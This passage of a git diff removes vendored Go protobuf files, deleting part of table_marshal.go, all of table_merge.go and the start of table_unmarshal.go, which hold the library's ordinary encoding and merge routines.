= appendVarint(b, wiretag) - siz := u.cachedsize(v) - b = appendVarint(b, uint64(siz)) - b, err = u.marshal(b, v, deterministic) - - if !nerr.Merge(err) { - if err == ErrNil { - err = errRepeatedHasNil - } - return b, err - } - } - return b, nerr.E - } -} - -// makeMapMarshaler returns the sizer and marshaler for a map field. -// f is the pointer to the reflect data structure of the field. -func makeMapMarshaler(f *reflect.StructField) (sizer, marshaler) { - // figure out key and value type - t := f.Type - keyType := t.Key() - valType := t.Elem() - keyTags := strings.Split(f.Tag.Get("protobuf_key"), ",") - valTags := strings.Split(f.Tag.Get("protobuf_val"), ",") - keySizer, keyMarshaler := typeMarshaler(keyType, keyTags, false, false) // don't omit zero value in map - valSizer, valMarshaler := typeMarshaler(valType, valTags, false, false) // don't omit zero value in map - keyWireTag := 1<<3 | wiretype(keyTags[0]) - valWireTag := 2<<3 | wiretype(valTags[0]) - - // We create an interface to get the addresses of the map key and value. - // If value is pointer-typed, the interface is a direct interface, the - // idata itself is the value. Otherwise, the idata is the pointer to the - // value. - // Key cannot be pointer-typed. - valIsPtr := valType.Kind() == reflect.Ptr - - // If value is a message with nested maps, calling - // valSizer in marshal may be quadratic. We should use - // cached version in marshal (but not in size). - // If value is not message type, we don't have size cache, - // but it cannot be nested either. Just use valSizer. - valCachedSizer := valSizer - if valIsPtr && valType.Elem().Kind() == reflect.Struct { - u := getMarshalInfo(valType.Elem()) - valCachedSizer = func(ptr pointer, tagsize int) int { - // Same as message sizer, but use cache. - p := ptr.getPointer() - if p.isNil() { - return 0 - } - siz := u.cachedsize(p) - return siz + SizeVarint(uint64(siz)) + tagsize - } - } - return func(ptr pointer, tagsize int) int { - m := ptr.asPointerTo(t).Elem() // the map - n := 0 - for _, k := range m.MapKeys() { - ki := k.Interface() - vi := m.MapIndex(k).Interface() - kaddr := toAddrPointer(&ki, false, false) // pointer to key - vaddr := toAddrPointer(&vi, valIsPtr, false) // pointer to value - siz := keySizer(kaddr, 1) + valSizer(vaddr, 1) // tag of key = 1 (size=1), tag of val = 2 (size=1) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, tag uint64, deterministic bool) ([]byte, error) { - m := ptr.asPointerTo(t).Elem() // the map - var err error - keys := m.MapKeys() - if len(keys) > 1 && deterministic { - sort.Sort(mapKeys(keys)) - } - - var nerr nonFatal - for _, k := range keys { - ki := k.Interface() - vi := m.MapIndex(k).Interface() - kaddr := toAddrPointer(&ki, false, false) // pointer to key - vaddr := toAddrPointer(&vi, valIsPtr, false) // pointer to value - b = appendVarint(b, tag) - siz := keySizer(kaddr, 1) + valCachedSizer(vaddr, 1) // tag of key = 1 (size=1), tag of val = 2 (size=1) - b = appendVarint(b, uint64(siz)) - b, err = keyMarshaler(b, kaddr, keyWireTag, deterministic) - if !nerr.Merge(err) { - return b, err - } - b, err = valMarshaler(b, vaddr, valWireTag, deterministic) - if err != ErrNil && !nerr.Merge(err) { // allow nil value in map - return b, err - } - } - return b, nerr.E - } -} - -// makeOneOfMarshaler returns the sizer and marshaler for a oneof field. -// fi is the marshal info of the field. -// f is the pointer to the reflect data structure of the field. -func makeOneOfMarshaler(fi *marshalFieldInfo, f *reflect.StructField) (sizer, marshaler) { - // Oneof field is an interface. We need to get the actual data type on the fly. - t := f.Type - return func(ptr pointer, _ int) int { - p := ptr.getInterfacePointer() - if p.isNil() { - return 0 - } - v := ptr.asPointerTo(t).Elem().Elem().Elem() // *interface -> interface -> *struct -> struct - telem := v.Type() - e := fi.oneofElems[telem] - return e.sizer(p, e.tagsize) - }, - func(b []byte, ptr pointer, _ uint64, deterministic bool) ([]byte, error) { - p := ptr.getInterfacePointer() - if p.isNil() { - return b, nil - } - v := ptr.asPointerTo(t).Elem().Elem().Elem() // *interface -> interface -> *struct -> struct - telem := v.Type() - if telem.Field(0).Type.Kind() == reflect.Ptr && p.getPointer().isNil() { - return b, errOneofHasNil - } - e := fi.oneofElems[telem] - return e.marshaler(b, p, e.wiretag, deterministic) - } -} - -// sizeExtensions computes the size of encoded data for a XXX_InternalExtensions field. -func (u *marshalInfo) sizeExtensions(ext *XXX_InternalExtensions) int { - m, mu := ext.extensionsRead() - if m == nil { - return 0 - } - mu.Lock() - - n := 0 - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - n += len(e.enc) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - n += ei.sizer(p, ei.tagsize) - } - mu.Unlock() - return n -} - -// appendExtensions marshals a XXX_InternalExtensions field to the end of byte slice b. -func (u *marshalInfo) appendExtensions(b []byte, ext *XXX_InternalExtensions, deterministic bool) ([]byte, error) { - m, mu := ext.extensionsRead() - if m == nil { - return b, nil - } - mu.Lock() - defer mu.Unlock() - - var err error - var nerr nonFatal - - // Fast-path for common cases: zero or one extensions. - // Don't bother sorting the keys. - if len(m) <= 1 { - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E - } - - // Sort the keys to provide a deterministic encoding. - // Not sure this is required, but the old code does it. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - for _, k := range keys { - e := m[int32(k)] - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// message set format is: -// message MessageSet { -// repeated group Item = 1 { -// required int32 type_id = 2; -// required string message = 3; -// }; -// } - -// sizeMessageSet computes the size of encoded data for a XXX_InternalExtensions field -// in message set format (above). -func (u *marshalInfo) sizeMessageSet(ext *XXX_InternalExtensions) int { - m, mu := ext.extensionsRead() - if m == nil { - return 0 - } - mu.Lock() - - n := 0 - for id, e := range m { - n += 2 // start group, end group. tag = 1 (size=1) - n += SizeVarint(uint64(id)) + 1 // type_id, tag = 2 (size=1) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - siz := len(msgWithLen) - n += siz + 1 // message, tag = 3 (size=1) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - n += ei.sizer(p, 1) // message, tag = 3 (size=1) - } - mu.Unlock() - return n -} - -// appendMessageSet marshals a XXX_InternalExtensions field in message set format (above) -// to the end of byte slice b. -func (u *marshalInfo) appendMessageSet(b []byte, ext *XXX_InternalExtensions, deterministic bool) ([]byte, error) { - m, mu := ext.extensionsRead() - if m == nil { - return b, nil - } - mu.Lock() - defer mu.Unlock() - - var err error - var nerr nonFatal - - // Fast-path for common cases: zero or one extensions. - // Don't bother sorting the keys. - if len(m) <= 1 { - for id, e := range m { - b = append(b, 1<<3|WireStartGroup) - b = append(b, 2<<3|WireVarint) - b = appendVarint(b, uint64(id)) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - b = append(b, 3<<3|WireBytes) - b = append(b, msgWithLen...) - b = append(b, 1<<3|WireEndGroup) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - b, err = ei.marshaler(b, p, 3<<3|WireBytes, deterministic) - if !nerr.Merge(err) { - return b, err - } - b = append(b, 1<<3|WireEndGroup) - } - return b, nerr.E - } - - // Sort the keys to provide a deterministic encoding. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - for _, id := range keys { - e := m[int32(id)] - b = append(b, 1<<3|WireStartGroup) - b = append(b, 2<<3|WireVarint) - b = appendVarint(b, uint64(id)) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - b = append(b, 3<<3|WireBytes) - b = append(b, msgWithLen...) - b = append(b, 1<<3|WireEndGroup) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - b, err = ei.marshaler(b, p, 3<<3|WireBytes, deterministic) - b = append(b, 1<<3|WireEndGroup) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// sizeV1Extensions computes the size of encoded data for a V1-API extension field. -func (u *marshalInfo) sizeV1Extensions(m map[int32]Extension) int { - if m == nil { - return 0 - } - - n := 0 - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - n += len(e.enc) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - n += ei.sizer(p, ei.tagsize) - } - return n -} - -// appendV1Extensions marshals a V1-API extension field to the end of byte slice b. -func (u *marshalInfo) appendV1Extensions(b []byte, m map[int32]Extension, deterministic bool) ([]byte, error) { - if m == nil { - return b, nil - } - - // Sort the keys to provide a deterministic encoding. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - var err error - var nerr nonFatal - for _, k := range keys { - e := m[int32(k)] - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr, ei.deref) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// newMarshaler is the interface representing objects that can marshal themselves. -// -// This exists to support protoc-gen-go generated messages. -// The proto package will stop type-asserting to this interface in the future. -// -// DO NOT DEPEND ON THIS. -type newMarshaler interface { - XXX_Size() int - XXX_Marshal(b []byte, deterministic bool) ([]byte, error) -} - -// Size returns the encoded size of a protocol buffer message. -// This is the main entry point. -func Size(pb Message) int { - if m, ok := pb.(newMarshaler); ok { - return m.XXX_Size() - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - b, _ := m.Marshal() - return len(b) - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return 0 - } - var info InternalMessageInfo - return info.Size(pb) -} - -// Marshal takes a protocol buffer message -// and encodes it into the wire format, returning the data. -// This is the main entry point. -func Marshal(pb Message) ([]byte, error) { - if m, ok := pb.(newMarshaler); ok { - siz := m.XXX_Size() - b := make([]byte, 0, siz) - return m.XXX_Marshal(b, false) - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - return m.Marshal() - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return nil, ErrNil - } - var info InternalMessageInfo - siz := info.Size(pb) - b := make([]byte, 0, siz) - return info.Marshal(b, pb, false) -} - -// Marshal takes a protocol buffer message -// and encodes it into the wire format, writing the result to the -// Buffer. -// This is an alternative entry point. It is not necessary to use -// a Buffer for most applications. -func (p *Buffer) Marshal(pb Message) error { - var err error - if m, ok := pb.(newMarshaler); ok { - siz := m.XXX_Size() - p.grow(siz) // make sure buf has enough capacity - p.buf, err = m.XXX_Marshal(p.buf, p.deterministic) - return err - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - b, err := m.Marshal() - p.buf = append(p.buf, b...) - return err - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return ErrNil - } - var info InternalMessageInfo - siz := info.Size(pb) - p.grow(siz) // make sure buf has enough capacity - p.buf, err = info.Marshal(p.buf, pb, p.deterministic) - return err -} - -// grow grows the buffer's capacity, if necessary, to guarantee space for -// another n bytes. After grow(n), at least n bytes can be written to the -// buffer without another allocation. -func (p *Buffer) grow(n int) { - need := len(p.buf) + n - if need <= cap(p.buf) { - return - } - newCap := len(p.buf) * 2 - if newCap < need { - newCap = need - } - p.buf = append(make([]byte, 0, newCap), p.buf...) -} diff --git a/vendor/github.com/golang/protobuf/proto/table_merge.go b/vendor/github.com/golang/protobuf/proto/table_merge.go deleted file mode 100644 index 5525def6a5..0000000000 --- a/vendor/github.com/golang/protobuf/proto/table_merge.go +++ /dev/null @@ -1,654 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "reflect" - "strings" - "sync" - "sync/atomic" -) - -// Merge merges the src message into dst. -// This assumes that dst and src of the same type and are non-nil. -func (a *InternalMessageInfo) Merge(dst, src Message) { - mi := atomicLoadMergeInfo(&a.merge) - if mi == nil { - mi = getMergeInfo(reflect.TypeOf(dst).Elem()) - atomicStoreMergeInfo(&a.merge, mi) - } - mi.merge(toPointer(&dst), toPointer(&src)) -} - -type mergeInfo struct { - typ reflect.Type - - initialized int32 // 0: only typ is valid, 1: everything is valid - lock sync.Mutex - - fields []mergeFieldInfo - unrecognized field // Offset of XXX_unrecognized -} - -type mergeFieldInfo struct { - field field // Offset of field, guaranteed to be valid - - // isPointer reports whether the value in the field is a pointer. - // This is true for the following situations: - // * Pointer to struct - // * Pointer to basic type (proto2 only) - // * Slice (first value in slice header is a pointer) - // * String (first value in string header is a pointer) - isPointer bool - - // basicWidth reports the width of the field assuming that it is directly - // embedded in the struct (as is the case for basic types in proto3). - // The possible values are: - // 0: invalid - // 1: bool - // 4: int32, uint32, float32 - // 8: int64, uint64, float64 - basicWidth int - - // Where dst and src are pointers to the types being merged. - merge func(dst, src pointer) -} - -var ( - mergeInfoMap = map[reflect.Type]*mergeInfo{} - mergeInfoLock sync.Mutex -) - -func getMergeInfo(t reflect.Type) *mergeInfo { - mergeInfoLock.Lock() - defer mergeInfoLock.Unlock() - mi := mergeInfoMap[t] - if mi == nil { - mi = &mergeInfo{typ: t} - mergeInfoMap[t] = mi - } - return mi -} - -// merge merges src into dst assuming they are both of type *mi.typ. -func (mi *mergeInfo) merge(dst, src pointer) { - if dst.isNil() { - panic("proto: nil destination") - } - if src.isNil() { - return // Nothing to do. - } - - if atomic.LoadInt32(&mi.initialized) == 0 { - mi.computeMergeInfo() - } - - for _, fi := range mi.fields { - sfp := src.offset(fi.field) - - // As an optimization, we can avoid the merge function call cost - // if we know for sure that the source will have no effect - // by checking if it is the zero value. - if unsafeAllowed { - if fi.isPointer && sfp.getPointer().isNil() { // Could be slice or string - continue - } - if fi.basicWidth > 0 { - switch { - case fi.basicWidth == 1 && !*sfp.toBool(): - continue - case fi.basicWidth == 4 && *sfp.toUint32() == 0: - continue - case fi.basicWidth == 8 && *sfp.toUint64() == 0: - continue - } - } - } - - dfp := dst.offset(fi.field) - fi.merge(dfp, sfp) - } - - // TODO: Make this faster? - out := dst.asPointerTo(mi.typ).Elem() - in := src.asPointerTo(mi.typ).Elem() - if emIn, err := extendable(in.Addr().Interface()); err == nil { - emOut, _ := extendable(out.Addr().Interface()) - mIn, muIn := emIn.extensionsRead() - if mIn != nil { - mOut := emOut.extensionsWrite() - muIn.Lock() - mergeExtension(mOut, mIn) - muIn.Unlock() - } - } - - if mi.unrecognized.IsValid() { - if b := *src.offset(mi.unrecognized).toBytes(); len(b) > 0 { - *dst.offset(mi.unrecognized).toBytes() = append([]byte(nil), b...) - } - } -} - -func (mi *mergeInfo) computeMergeInfo() { - mi.lock.Lock() - defer mi.lock.Unlock() - if mi.initialized != 0 { - return - } - t := mi.typ - n := t.NumField() - - props := GetProperties(t) - for i := 0; i < n; i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - - mfi := mergeFieldInfo{field: toField(&f)} - tf := f.Type - - // As an optimization, we can avoid the merge function call cost - // if we know for sure that the source will have no effect - // by checking if it is the zero value. - if unsafeAllowed { - switch tf.Kind() { - case reflect.Ptr, reflect.Slice, reflect.String: - // As a special case, we assume slices and strings are pointers - // since we know that the first field in the SliceSlice or - // StringHeader is a data pointer. - mfi.isPointer = true - case reflect.Bool: - mfi.basicWidth = 1 - case reflect.Int32, reflect.Uint32, reflect.Float32: - mfi.basicWidth = 4 - case reflect.Int64, reflect.Uint64, reflect.Float64: - mfi.basicWidth = 8 - } - } - - // Unwrap tf to get at its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic("both pointer and slice for basic type in " + tf.Name()) - } - - switch tf.Kind() { - case reflect.Int32: - switch { - case isSlice: // E.g., []int32 - mfi.merge = func(dst, src pointer) { - // NOTE: toInt32Slice is not defined (see pointer_reflect.go). - /* - sfsp := src.toInt32Slice() - if *sfsp != nil { - dfsp := dst.toInt32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []int64{} - } - } - */ - sfs := src.getInt32Slice() - if sfs != nil { - dfs := dst.getInt32Slice() - dfs = append(dfs, sfs...) - if dfs == nil { - dfs = []int32{} - } - dst.setInt32Slice(dfs) - } - } - case isPointer: // E.g., *int32 - mfi.merge = func(dst, src pointer) { - // NOTE: toInt32Ptr is not defined (see pointer_reflect.go). - /* - sfpp := src.toInt32Ptr() - if *sfpp != nil { - dfpp := dst.toInt32Ptr() - if *dfpp == nil { - *dfpp = Int32(**sfpp) - } else { - **dfpp = **sfpp - } - } - */ - sfp := src.getInt32Ptr() - if sfp != nil { - dfp := dst.getInt32Ptr() - if dfp == nil { - dst.setInt32Ptr(*sfp) - } else { - *dfp = *sfp - } - } - } - default: // E.g., int32 - mfi.merge = func(dst, src pointer) { - if v := *src.toInt32(); v != 0 { - *dst.toInt32() = v - } - } - } - case reflect.Int64: - switch { - case isSlice: // E.g., []int64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toInt64Slice() - if *sfsp != nil { - dfsp := dst.toInt64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []int64{} - } - } - } - case isPointer: // E.g., *int64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toInt64Ptr() - if *sfpp != nil { - dfpp := dst.toInt64Ptr() - if *dfpp == nil { - *dfpp = Int64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., int64 - mfi.merge = func(dst, src pointer) { - if v := *src.toInt64(); v != 0 { - *dst.toInt64() = v - } - } - } - case reflect.Uint32: - switch { - case isSlice: // E.g., []uint32 - mfi.merge = func(dst, src pointer) { - sfsp := src.toUint32Slice() - if *sfsp != nil { - dfsp := dst.toUint32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []uint32{} - } - } - } - case isPointer: // E.g., *uint32 - mfi.merge = func(dst, src pointer) { - sfpp := src.toUint32Ptr() - if *sfpp != nil { - dfpp := dst.toUint32Ptr() - if *dfpp == nil { - *dfpp = Uint32(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., uint32 - mfi.merge = func(dst, src pointer) { - if v := *src.toUint32(); v != 0 { - *dst.toUint32() = v - } - } - } - case reflect.Uint64: - switch { - case isSlice: // E.g., []uint64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toUint64Slice() - if *sfsp != nil { - dfsp := dst.toUint64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []uint64{} - } - } - } - case isPointer: // E.g., *uint64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toUint64Ptr() - if *sfpp != nil { - dfpp := dst.toUint64Ptr() - if *dfpp == nil { - *dfpp = Uint64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., uint64 - mfi.merge = func(dst, src pointer) { - if v := *src.toUint64(); v != 0 { - *dst.toUint64() = v - } - } - } - case reflect.Float32: - switch { - case isSlice: // E.g., []float32 - mfi.merge = func(dst, src pointer) { - sfsp := src.toFloat32Slice() - if *sfsp != nil { - dfsp := dst.toFloat32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []float32{} - } - } - } - case isPointer: // E.g., *float32 - mfi.merge = func(dst, src pointer) { - sfpp := src.toFloat32Ptr() - if *sfpp != nil { - dfpp := dst.toFloat32Ptr() - if *dfpp == nil { - *dfpp = Float32(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., float32 - mfi.merge = func(dst, src pointer) { - if v := *src.toFloat32(); v != 0 { - *dst.toFloat32() = v - } - } - } - case reflect.Float64: - switch { - case isSlice: // E.g., []float64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toFloat64Slice() - if *sfsp != nil { - dfsp := dst.toFloat64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []float64{} - } - } - } - case isPointer: // E.g., *float64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toFloat64Ptr() - if *sfpp != nil { - dfpp := dst.toFloat64Ptr() - if *dfpp == nil { - *dfpp = Float64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., float64 - mfi.merge = func(dst, src pointer) { - if v := *src.toFloat64(); v != 0 { - *dst.toFloat64() = v - } - } - } - case reflect.Bool: - switch { - case isSlice: // E.g., []bool - mfi.merge = func(dst, src pointer) { - sfsp := src.toBoolSlice() - if *sfsp != nil { - dfsp := dst.toBoolSlice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []bool{} - } - } - } - case isPointer: // E.g., *bool - mfi.merge = func(dst, src pointer) { - sfpp := src.toBoolPtr() - if *sfpp != nil { - dfpp := dst.toBoolPtr() - if *dfpp == nil { - *dfpp = Bool(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., bool - mfi.merge = func(dst, src pointer) { - if v := *src.toBool(); v { - *dst.toBool() = v - } - } - } - case reflect.String: - switch { - case isSlice: // E.g., []string - mfi.merge = func(dst, src pointer) { - sfsp := src.toStringSlice() - if *sfsp != nil { - dfsp := dst.toStringSlice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []string{} - } - } - } - case isPointer: // E.g., *string - mfi.merge = func(dst, src pointer) { - sfpp := src.toStringPtr() - if *sfpp != nil { - dfpp := dst.toStringPtr() - if *dfpp == nil { - *dfpp = String(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., string - mfi.merge = func(dst, src pointer) { - if v := *src.toString(); v != "" { - *dst.toString() = v - } - } - } - case reflect.Slice: - isProto3 := props.Prop[i].proto3 - switch { - case isPointer: - panic("bad pointer in byte slice case in " + tf.Name()) - case tf.Elem().Kind() != reflect.Uint8: - panic("bad element kind in byte slice case in " + tf.Name()) - case isSlice: // E.g., [][]byte - mfi.merge = func(dst, src pointer) { - sbsp := src.toBytesSlice() - if *sbsp != nil { - dbsp := dst.toBytesSlice() - for _, sb := range *sbsp { - if sb == nil { - *dbsp = append(*dbsp, nil) - } else { - *dbsp = append(*dbsp, append([]byte{}, sb...)) - } - } - if *dbsp == nil { - *dbsp = [][]byte{} - } - } - } - default: // E.g., []byte - mfi.merge = func(dst, src pointer) { - sbp := src.toBytes() - if *sbp != nil { - dbp := dst.toBytes() - if !isProto3 || len(*sbp) > 0 { - *dbp = append([]byte{}, *sbp...) - } - } - } - } - case reflect.Struct: - switch { - case !isPointer: - panic(fmt.Sprintf("message field %s without pointer", tf)) - case isSlice: // E.g., []*pb.T - mi := getMergeInfo(tf) - mfi.merge = func(dst, src pointer) { - sps := src.getPointerSlice() - if sps != nil { - dps := dst.getPointerSlice() - for _, sp := range sps { - var dp pointer - if !sp.isNil() { - dp = valToPointer(reflect.New(tf)) - mi.merge(dp, sp) - } - dps = append(dps, dp) - } - if dps == nil { - dps = []pointer{} - } - dst.setPointerSlice(dps) - } - } - default: // E.g., *pb.T - mi := getMergeInfo(tf) - mfi.merge = func(dst, src pointer) { - sp := src.getPointer() - if !sp.isNil() { - dp := dst.getPointer() - if dp.isNil() { - dp = valToPointer(reflect.New(tf)) - dst.setPointer(dp) - } - mi.merge(dp, sp) - } - } - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic("bad pointer or slice in map case in " + tf.Name()) - default: // E.g., map[K]V - mfi.merge = func(dst, src pointer) { - sm := src.asPointerTo(tf).Elem() - if sm.Len() == 0 { - return - } - dm := dst.asPointerTo(tf).Elem() - if dm.IsNil() { - dm.Set(reflect.MakeMap(tf)) - } - - switch tf.Elem().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - val = reflect.ValueOf(Clone(val.Interface().(Message))) - dm.SetMapIndex(key, val) - } - case reflect.Slice: // E.g. Bytes type (e.g., []byte) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - val = reflect.ValueOf(append([]byte{}, val.Bytes()...)) - dm.SetMapIndex(key, val) - } - default: // Basic type (e.g., string) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - dm.SetMapIndex(key, val) - } - } - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic("bad pointer or slice in interface case in " + tf.Name()) - default: // E.g., interface{} - // TODO: Make this faster? - mfi.merge = func(dst, src pointer) { - su := src.asPointerTo(tf).Elem() - if !su.IsNil() { - du := dst.asPointerTo(tf).Elem() - typ := su.Elem().Type() - if du.IsNil() || du.Elem().Type() != typ { - du.Set(reflect.New(typ.Elem())) // Initialize interface if empty - } - sv := su.Elem().Elem().Field(0) - if sv.Kind() == reflect.Ptr && sv.IsNil() { - return - } - dv := du.Elem().Elem().Field(0) - if dv.Kind() == reflect.Ptr && dv.IsNil() { - dv.Set(reflect.New(sv.Type().Elem())) // Initialize proto message if empty - } - switch sv.Type().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - Merge(dv.Interface().(Message), sv.Interface().(Message)) - case reflect.Slice: // E.g. Bytes type (e.g., []byte) - dv.Set(reflect.ValueOf(append([]byte{}, sv.Bytes()...))) - default: // Basic type (e.g., string) - dv.Set(sv) - } - } - } - } - default: - panic(fmt.Sprintf("merger not found for type:%s", tf)) - } - mi.fields = append(mi.fields, mfi) - } - - mi.unrecognized = invalidField - if f, ok := t.FieldByName("XXX_unrecognized"); ok { - if f.Type != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - mi.unrecognized = toField(&f) - } - - atomic.StoreInt32(&mi.initialized, 1) -} diff --git a/vendor/github.com/golang/protobuf/proto/table_unmarshal.go b/vendor/github.com/golang/protobuf/proto/table_unmarshal.go deleted file mode 100644 index acee2fc529..0000000000 --- a/vendor/github.com/golang/protobuf/proto/table_unmarshal.go +++ /dev/null @@ -1,2053 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// 